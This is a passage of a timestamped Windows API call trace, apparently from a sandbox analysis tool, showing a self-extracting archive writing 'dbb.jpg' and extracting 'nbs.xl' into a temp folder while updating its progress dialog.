[0068.308] ReadFile (in: hFile=0x1c, lpBuffer=0x270467, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270467*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.308] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.308] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.308] GetTickCount () returned 0x1fb20 [0068.308] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.308] ReadFile (in: hFile=0x1c, lpBuffer=0x270467, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270467*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.308] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.308] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.308] GetTickCount () returned 0x1fb20 [0068.308] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.308] ReadFile (in: hFile=0x1c, lpBuffer=0x270467, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270467*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.308] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.308] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.308] GetTickCount () returned 0x1fb20 [0068.308] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.308] ReadFile (in: hFile=0x1c, lpBuffer=0x270467, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270467*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.308] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.308] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.308] GetTickCount () returned 0x1fb20 [0068.308] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.308] ReadFile (in: hFile=0x1c, lpBuffer=0x270467, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270467*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.308] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.308] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.308] GetTickCount () returned 0x1fb20 [0068.308] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.308] ReadFile (in: hFile=0x1c, lpBuffer=0x270467, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270467*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.308] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.308] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.308] GetTickCount () returned 0x1fb20 [0068.308] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.308] ReadFile (in: hFile=0x1c, lpBuffer=0x270467, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270467*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.308] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.308] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.308] GetTickCount () returned 0x1fb20 [0068.308] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.308] ReadFile (in: hFile=0x1c, lpBuffer=0x270467, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270467*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.308] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.308] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.308] GetTickCount () returned 0x1fb20 [0068.308] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.308] ReadFile (in: hFile=0x1c, lpBuffer=0x270467, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270467*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.309] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.309] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.309] GetTickCount () returned 0x1fb20 [0068.309] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.309] ReadFile (in: hFile=0x1c, lpBuffer=0x270467, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270467*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.309] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.309] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.309] GetTickCount () returned 0x1fb20 [0068.309] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.309] ReadFile (in: hFile=0x1c, lpBuffer=0x270467, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270467*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.309] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.309] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.309] GetTickCount () returned 0x1fb20 [0068.309] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.309] ReadFile (in: hFile=0x1c, lpBuffer=0x270467, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270467*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.309] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.309] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.309] GetTickCount () returned 0x1fb20 [0068.309] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.309] ReadFile (in: hFile=0x1c, lpBuffer=0x270467, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270467*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.309] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.309] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.309] GetTickCount () returned 0x1fb20 [0068.309] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.309] ReadFile (in: hFile=0x1c, lpBuffer=0x270467, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270467*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.309] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.309] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.309] GetTickCount () returned 0x1fb20 [0068.309] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.309] ReadFile (in: hFile=0x1c, lpBuffer=0x270467, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270467*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.309] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.309] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.309] GetTickCount () returned 0x1fb20 [0068.309] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.309] ReadFile (in: hFile=0x1c, lpBuffer=0x270467, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270467*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.309] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.309] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.309] GetTickCount () returned 0x1fb20 [0068.309] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.309] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x24c, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x24c, lpOverlapped=0x0) returned 1 [0068.310] GetTickCount () returned 0x1fb20 [0068.310] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0068.310] SetFilePointer (in: hFile=0x1c, lDistanceToMove=867826, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd3df2 [0068.310] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0068.310] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0068.310] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0068.311] CloseHandle (hObject=0x138) returned 1 [0068.311] SetFileAttributesA (lpFileName="dbb.jpg", dwFileAttributes=0x20) returned 1 [0068.311] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd3df2 [0068.312] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0068.312] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x24, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x24, lpOverlapped=0x0) returned 1 [0068.312] OemToCharA (in: pSrc="nbs.xl", pDst=0x179cc0 | out: pDst="nbs.xl") returned 1 [0068.312] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="nbs.xl", cchCount2=1) returned 1 [0068.312] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="nbs.xl", cchCount2=6) returned 1 [0068.312] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="nbs.xl", cchCount2=-1) returned 1 [0068.312] SetFilePointer (in: hFile=0x1c, lDistanceToMove=867869, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd3e1d [0068.312] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="nbs.xl") returned 7 [0068.312] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x41a6b8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0068.312] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting nbs.xl") returned 17 [0068.312] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting nbs.xl") returned 1 [0068.312] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0068.312] OemToCharBuffA (in: lpszSrc="n", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="n") returned 1 [0068.313] CharToOemBuffA (in: lpszSrc="N", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="N") returned 1 [0068.313] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="nbs.xl") returned 7 [0068.313] FindFirstFileW (in: lpFileName="nbs.xl", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0068.313] GetLastError () returned 0x2 [0068.313] GetFileAttributesA (lpFileName="nbs.xl" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\nbs.xl")) returned 0xffffffff [0068.313] CreateFileA (lpFileName="nbs.xl" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\nbs.xl"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0068.327] GetFileType (hFile=0x138) returned 0x1 [0068.327] SetFilePointer (in: hFile=0x138, lDistanceToMove=514, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x202 [0068.327] SetEndOfFile (hFile=0x138) returned 1 [0068.327] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0068.327] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x1a3, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x1a3, lpOverlapped=0x0) returned 1 [0068.327] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.327] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.327] GetTickCount () returned 0x1fb2f [0068.327] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.327] ReadFile (in: hFile=0x1c, lpBuffer=0x27042b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.327] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.327] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.327] GetTickCount () returned 0x1fb2f [0068.327] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.327] ReadFile (in: hFile=0x1c, lpBuffer=0x27042b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.327] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.327] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.328] GetTickCount () returned 0x1fb2f [0068.328] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.328] ReadFile (in: hFile=0x1c, lpBuffer=0x27042b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.328] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.328] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.328] GetTickCount () returned 0x1fb2f [0068.328] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.328] ReadFile (in: hFile=0x1c, lpBuffer=0x27042b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.328] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.328] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.328] GetTickCount () returned 0x1fb2f [0068.328] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.328] ReadFile (in: hFile=0x1c, lpBuffer=0x27042b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.328] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.328] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.328] GetTickCount () returned 0x1fb2f [0068.328] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.328] ReadFile (in: hFile=0x1c, lpBuffer=0x27042b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.328] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.328] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.328] GetTickCount () returned 0x1fb2f [0068.328] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.328] ReadFile (in: hFile=0x1c, lpBuffer=0x27042b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.328] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.328] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.328] GetTickCount () returned 0x1fb2f [0068.328] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.328] ReadFile (in: hFile=0x1c, lpBuffer=0x27042b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.328] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.328] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.328] GetTickCount () returned 0x1fb2f [0068.328] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.328] ReadFile (in: hFile=0x1c, lpBuffer=0x27042b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.328] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.328] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.328] GetTickCount () returned 0x1fb2f [0068.328] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.328] ReadFile (in: hFile=0x1c, lpBuffer=0x27042b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.328] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.328] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.328] GetTickCount () returned 0x1fb2f [0068.328] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.328] ReadFile (in: hFile=0x1c, lpBuffer=0x27042b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.328] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.328] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.328] GetTickCount () returned 0x1fb2f [0068.328] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.328] ReadFile (in: hFile=0x1c, lpBuffer=0x27042b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27042b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.329] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.329] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.329] GetTickCount () returned 0x1fb2f 